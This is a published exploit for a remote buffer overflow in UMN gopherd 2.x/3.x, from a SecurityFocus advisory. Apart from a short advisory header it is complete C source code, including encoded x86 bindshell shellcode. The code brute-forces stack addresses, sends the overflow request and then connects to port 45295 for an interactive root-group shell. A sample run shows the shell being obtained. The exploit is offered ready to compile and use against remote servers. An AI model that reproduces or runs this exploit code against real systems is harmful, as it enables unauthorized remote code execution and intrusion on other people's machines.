// source: https://www.securityfocus.com/bid/8168/info
It has been reported that there is a buffer overflow condition present in gopherd that may be exploited remotely to execute arbitrary code. The affected component is said to be used for determining view-types for gopher objects.
/*[ UMN gopherd[2.x.x/3.x.x]: remote GSisText()/view buffer overflow. ]*
* *
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
* *
* three years since last audit, code is a little more secure. but, *
* still found a few potentially exploitable situations. this *
* exploits the GSisText() object function in gopherd. the function *
* is used in determining view-type. the function does not check the *
* length of the string, which is copied into a temporary 64 byte *
* buffer. an example would look like this(including where to put the *
* shellcode at): *
* *
* "g\t+<long string>\t1\n<shellcode(256 character max)>\n" *
* *
* to exploit this, the request must start with a h, 0, 4, 5, 9, s, I, *
* or g. followed by a <tab>+<long string>. to have a place to put *
* the shellcode, i appeneded a <tab>1, which makes gopherd wait for *
* another line before actually doing the overflow. *
* *
* requirements(general): *
* none. no option to disable this, hard-coded upon compile. *
* *
* requirements(for this exploit): *
* the server must be running linux/x86(what i made the exploit for). *
* gopherd must be started in the root directory "/", running with *
* the -c command line option, or started as non-root. any of those *
* three situations will allow for successful exploitation. this *
* does not mean it is impossible to exploit otherwise. but, gopherd *
* will be in a chroot()'d state. and, as of the 2.4 kernel series, *
* i have seen no such way to break chroot. if it is desired to *
* still run code, even in a limited environment, simply change the *
* shellcode to your likings. *
* *
* bug location(gopher-3.0.5/object/GSgopherobj.c): *
* 2088:boolean *
* 2089:GSisText(GopherObj *gs, char *view) *
* 2090:{ *
* ... *
* 2106:char viewstowage[64], *cp; *
* 2108:strcpy(viewstowage, view); *
* *
* vulnerable versions: *
* v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1), *
* v2.3.1. (patch level 0 through 15/all 2.3.1 versions) *
* (it is assumed versions before 2.3.1 are vulnerable as well) *
* *
* tested on platforms(with no code changes/offsets): *
* RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 *
* Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
* (tested on both v3.0.5, and v2.3.1 sources / no changes) *
* *
* example usage: *
* # cc xgopherd2k3-view.c -o xgopherd2k3-view *
* # ./xgopherd2k3-view localhost *
* [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit. *
* [*] "UMN gopherd remote GSisText()/view buffer overflow" *
* [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
* *
* [*] target: localhost:70 - brute: 0xbfffe000-0xbfffffff *
* *
* (. = 29 byte offset): ............................................ *
* .................................................................. *
* ................................................(hit shellcode!) *
* *
* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *
* uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3(s$ *
***********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* using brute force method, don't change values. */
#define CODESIZE 256 /* big as it gets, or will fail. */
#define EIPSIZE 128 /* 64 byte buffer, little overboard. :) */
#define BASEADDR 0xbfffe000 /* starting address, should be ok. */
#define ENDADDR 0xbfffffff /* address to stop at. */
#define TIMEOUT 10 /* connection timeout. (general) */
/* globals. */
static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
"\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
"\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
"\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
"\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
"\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
"\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
"\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
"\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
"\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
"\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
"\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
"\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
"\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
"\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
"\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
"\x6e";
/* functions. */
char *geteip(unsigned int);
char *getcode(void);
unsigned short gopher_connect(char *,unsigned short,
unsigned int);
void getshell(char *,unsigned short);
void printe(char *,short);
/* signal handlers. */
void sig_ctrlc(){printe("aborted",1);}
void sig_alarm(){printe("alarm/timeout hit",1);}
/* begin. */
int main(int argc,char **argv){
unsigned short gopher_port=70; /* default. */
unsigned int offset=0,i=0;
char *gopher_host;
printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
"verflow exploit.\n[*] \"UMN gopherd remote GSisText("
")/view buffer overflow\"\n[*] by: vade79/v9 v9@fakeh"
"alo.deadpig.org (fakehalo)\n\n");
if(argc<2){
printf("[!] syntax: %s <hostname[:port]>\n\n",argv[0]);
exit(1);
}
if(!(gopher_host=(char *)strdup(argv[1])))
printe("main(): allocating memory failed",1);
for(i=0;i<strlen(gopher_host);i++)
if(gopher_host[i]==':')
gopher_host[i]=0x0;
if(index(argv[1],':'))
gopher_port=atoi((char *)index(argv[1],':')+1);
if(!gopher_port)
gopher_port=70;
printf("[*] target: %s:%d - brute: 0x%.8x-0x%.8x\n\n",
gopher_host,gopher_port,BASEADDR,ENDADDR);
signal(SIGINT,sig_ctrlc);
signal(SIGALRM,sig_alarm);
fprintf(stderr,"(. = 29 byte offset): ");
for(offset=0;(BASEADDR+offset)<ENDADDR;offset+=29){
fprintf(stderr,(gopher_connect(gopher_host,gopher_port,
offset)?"!":"."));
getshell(gopher_host,45295); /* defined in shellcode. */
}
fprintf(stderr,"(brute force limit hit)\n");
exit(0);
}
char *geteip(unsigned int offset){
unsigned int i=0;
char *buf;
if(!(buf=(char *)malloc(EIPSIZE+1)))
printe("ftpd_read(): allocating memory failed.",1);
memset(buf,0x0,EIPSIZE+1);
for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(BASEADDR+offset);}
return(buf);
}
char *getcode(void){
char *buf;
if(!(buf=(char *)malloc(CODESIZE+1)))
printe("getcode(): allocating memory failed",1);
memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
strlen(x86_exec));
return(buf);
}
unsigned short gopher_connect(char *hostname,
unsigned short port,unsigned int offset){
int sock;
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
if(!(t=gethostbyname(hostname))){
close(sock);
return(1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s))){
alarm(0);
close(sock);
return(1);
}
alarm(0);
usleep(500000); /* had problems, without a delay here. */
/* the exploit itself. */
dprintf(sock,"g\t+%s\t1\n",geteip(offset)); /* 64 bytes. */
dprintf(sock,"%s\n",getcode()); /* 256 bytes room. */
usleep(500000);
close(sock); /* done. */
return(0);
}
/* same getshell() routine, a little modded for brute. */
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
return;
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname))){
close(sock);
return;
}
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
alarm(0);
close(sock);
return;
}
alarm(0);
fprintf(stderr,"(hit shellcode!)\n\n");
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1){
printe("getshell(): select() failed",0);
return;
}
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1){
printe("getshell(): read() failed",0);
return;
}
if(write(sock,buf,r)!=r){
printe("getshell(): write() failed",0);
return;
}
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
fprintf(stderr,"(error: %s)\n",err);
if(e)
exit(1);
return;
}
